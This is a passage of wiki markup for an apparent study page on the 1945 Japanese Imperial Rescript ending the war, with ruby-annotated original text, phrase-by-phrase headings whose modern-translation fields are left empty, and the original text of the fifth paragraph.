い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;にして、&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;陣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;死&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;職&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;域&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;殉&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じゅん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;じ、&lt;ruby&gt;&lt;rb&gt;非&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;命&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;斃&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たお&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れたる&lt;ruby&gt;&lt;rb&gt;者&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;及&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;および&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&amp;nbsp;&lt;ruby&gt;&lt;rb&gt;其&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;遺&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;族&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぞく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;想&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おもい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;致&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せば、&lt;ruby&gt;&lt;rb&gt;五&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ご&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;内&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ない&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;為&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ため&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;裂&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く、&lt;ruby&gt;&lt;rb&gt;且&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;傷&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;負&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;お&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;い、&lt;ruby&gt;&lt;rb&gt;災&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;禍&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;か&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を
&lt;ruby&gt;&lt;rb&gt;蒙&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こうむ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;り、&lt;ruby&gt;&lt;rb&gt;家&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;か&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;業&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;失&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;うしな&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;いたる&lt;ruby&gt;&lt;rb&gt;者&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;厚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;生&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;至&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;りては&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;深&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;軫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;念&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ねん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;する&lt;ruby&gt;&lt;rb&gt;所&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ところ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なり。&lt;ruby&gt;&lt;rb&gt;惟&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;うに、&lt;ruby&gt;&lt;rb&gt;今&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;後&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ご&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;受&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;う&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くべき&lt;ruby&gt;&lt;rb&gt;苦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;く&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;難&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は、&lt;ruby&gt;&lt;rb&gt;固&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;より&lt;ruby&gt;&lt;rb&gt;尋&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;常&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;にあらず。&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;衷&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;情&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;善&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;之&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;これ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;知&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;る。&lt;ruby&gt;&lt;rb&gt;然&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れども&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;時&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;運&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;うん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;趨&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おもむ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;所&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ところ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、
&lt;ruby&gt;&lt;rb&gt;堪&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;た&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;え&lt;ruby&gt;&lt;rb&gt;難&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;がた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;きを&lt;ruby&gt;&lt;rb&gt;堪&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;た&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;え、&lt;ruby&gt;&lt;rb&gt;忍&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;び&lt;ruby&gt;&lt;rb&gt;難&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;がた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;きを&lt;ruby&gt;&lt;rb&gt;忍&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;び、&lt;ruby&gt;&lt;rb&gt;以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;万&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ばん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;為&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ため&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;太&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;平&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;へい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;開&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひら&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;かんと&lt;ruby&gt;&lt;rb&gt;欲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;す。&lt;/p&gt;
&lt;/div&gt;
# [[#朕&amp;#xE0102;ハ帝國ト共ニ]]
# [[#終&amp;#xE0101;始東亞ノ解放ニ協力セル諸&amp;#xE0100;盟邦&amp;#xE0102;ニ對シ]]
# [[#遺&amp;#xE0101;憾ノ意ヲ表セサルヲ得ス]]
# [[#帝國臣民ニシテ]]
# [[#戰陣ニ死シ]]
# [[#職域ニ殉シ]]
# [[#非命ニ斃レタル者&amp;#xE0101;]]
# [[#及&amp;#xE0101;其ノ遺&amp;#xE0101;族ニ想ヲ致セハ]]
# [[#五內爲ニ裂ク]]
# [[#且戰傷ヲ負&amp;#xE0102;ヒ]]
# [[#災禍&amp;#xE0100;ヲ蒙リ]]
# [[#家業ヲ失ヒタル者&amp;#xE0101;ノ]]
# [[#厚生ニ至リテハ]]
# [[#朕&amp;#xE0102;ノ深ク軫念スル所&amp;#xE0101;ナリ]]
# [[#惟フニ今後帝國ノ受クヘキ苦難&amp;#xE0100;ハ]]
# [[#固ヨリ尋&amp;#xE0101;常ニアラス]]
# [[#爾臣民ノ衷情&amp;#xE0101;モ朕&amp;#xE0102;善ク之ヲ知ル]]
# [[#然レトモ朕&amp;#xE0102;ハ時運&amp;#xE0101;ノ趨ク所&amp;#xE0101;]]
# [[#堪ヘ難&amp;#xE0100;キヲ堪ヘ忍&amp;#xE0101;ヒ難&amp;#xE0100;キヲ忍&amp;#xE0101;ヒ]]
# [[#以テ萬世ノ爲ニ太平&amp;#xE0101;ヲ開カムト欲ス]]

=== 朕&amp;#xE0102;ハ帝國ト共ニ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 終&amp;#xE0101;始東亞ノ解放ニ協力セル諸&amp;#xE0100;盟邦&amp;#xE0102;ニ對シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 遺&amp;#xE0101;憾ノ意ヲ表セサルヲ得ス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 帝國臣民ニシテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 戰陣ニ死シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 職域ニ殉シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 非命ニ斃レタル者&amp;#xE0101; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 及&amp;#xE0101;其ノ遺&amp;#xE0101;族ニ想ヲ致セハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 五內爲ニ裂ク ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 且戰傷ヲ負&amp;#xE0102;ヒ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 災禍&amp;#xE0100;ヲ蒙リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 家業ヲ失ヒタル者&amp;#xE0101;ノ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 厚生ニ至リテハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;ノ深ク軫念スル所&amp;#xE0101;ナリ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 惟フニ今後帝國ノ受クヘキ苦難&amp;#xE0100;ハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 固ヨリ尋&amp;#xE0101;常ニアラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 爾臣民ノ衷情&amp;#xE0101;モ朕&amp;#xE0102;善ク之ヲ知ル ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 然レトモ朕&amp;#xE0102;ハ時運&amp;#xE0101;ノ趨ク所&amp;#xE0101; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 堪ヘ難&amp;#xE0100;キヲ堪ヘ忍&amp;#xE0101;ヒ難&amp;#xE0100;キヲ忍&amp;#xE0101;ヒ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 以テ萬世ノ爲ニ太平&amp;#xE0101;ヲ開カムト欲ス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;
&lt;span style=&quot;color:#500;&quot;&gt;
&lt;/span&gt;
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;p style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;

== 第五段落 ==
&lt;!--◆第五段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ハ玆ニ國體ヲ護持シ得テ忠良ナル爾臣民ノ赤&lt;span style=&quot;color:#500;&quot;&gt;誠&amp;#xE0101;&lt;/span&gt;ニ信倚シ常ニ爾臣民ト共ニ在リ若シ夫レ&lt;span style=&quot;color:#500;&quot;&gt;情&amp;#xE0101;&lt;/span&gt;ノ激スル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;濫ニ事端ヲ滋クシ或ハ同&lt;span style=&quot;color:#500;&quot;&gt;胞&amp;#xE0101;&lt;/span&gt;排擠互ニ時局ヲ亂リ爲ニ大&lt;span style=&quot;color:#500;&quot;&gt;道&amp;#xE0101;&lt;/span&gt;ヲ&lt;span style=&quot;color:#500;&quot;&gt;誤&amp;#xE0101;&lt;/span&gt;リ信義ヲ世界ニ失フカ如キハ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;最モ之ヲ戒ム宜シク擧國一家子孫相傳ヘ確ク&lt;span style=&quot;color:#500;&quot;&gt;神&amp;#xE0100;&lt;/span&gt;州ノ不滅ヲ信シ任重クシテ&lt;span style=&quot;color:#500;&quot;&gt;道&amp;#xE0101;&lt;/span&gt;&lt;span style=&quot;color:#500;&quot;&gt;遠&amp;#xE0101;&lt;/span&gt;キヲ念ヒ總力ヲ將來ノ&lt;span style=&quot;color:#500;&quot;&gt;建&amp;#xE0101;&lt;/span&gt;設ニ傾ケ&lt;span style=&quot;color:#500;&quot;&gt;道&amp;#xE0101;&lt;/span&gt;義ヲ篤クシ志操ヲ鞏クシ誓テ國體ノ&lt;span style=&quot;color:#500;&quot;&gt;精&amp;#xE0100;&lt;/span&gt;華ヲ發揚シ世界ノ&lt;span style=&quot;color:#500;&quot;&gt;進&amp;#xE0101;&lt;/span&gt;運󠄁ニ後レサラムコトヲ期スヘシ爾臣民其レ克ク&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ意ヲ體セヨ&lt;/p&gt;
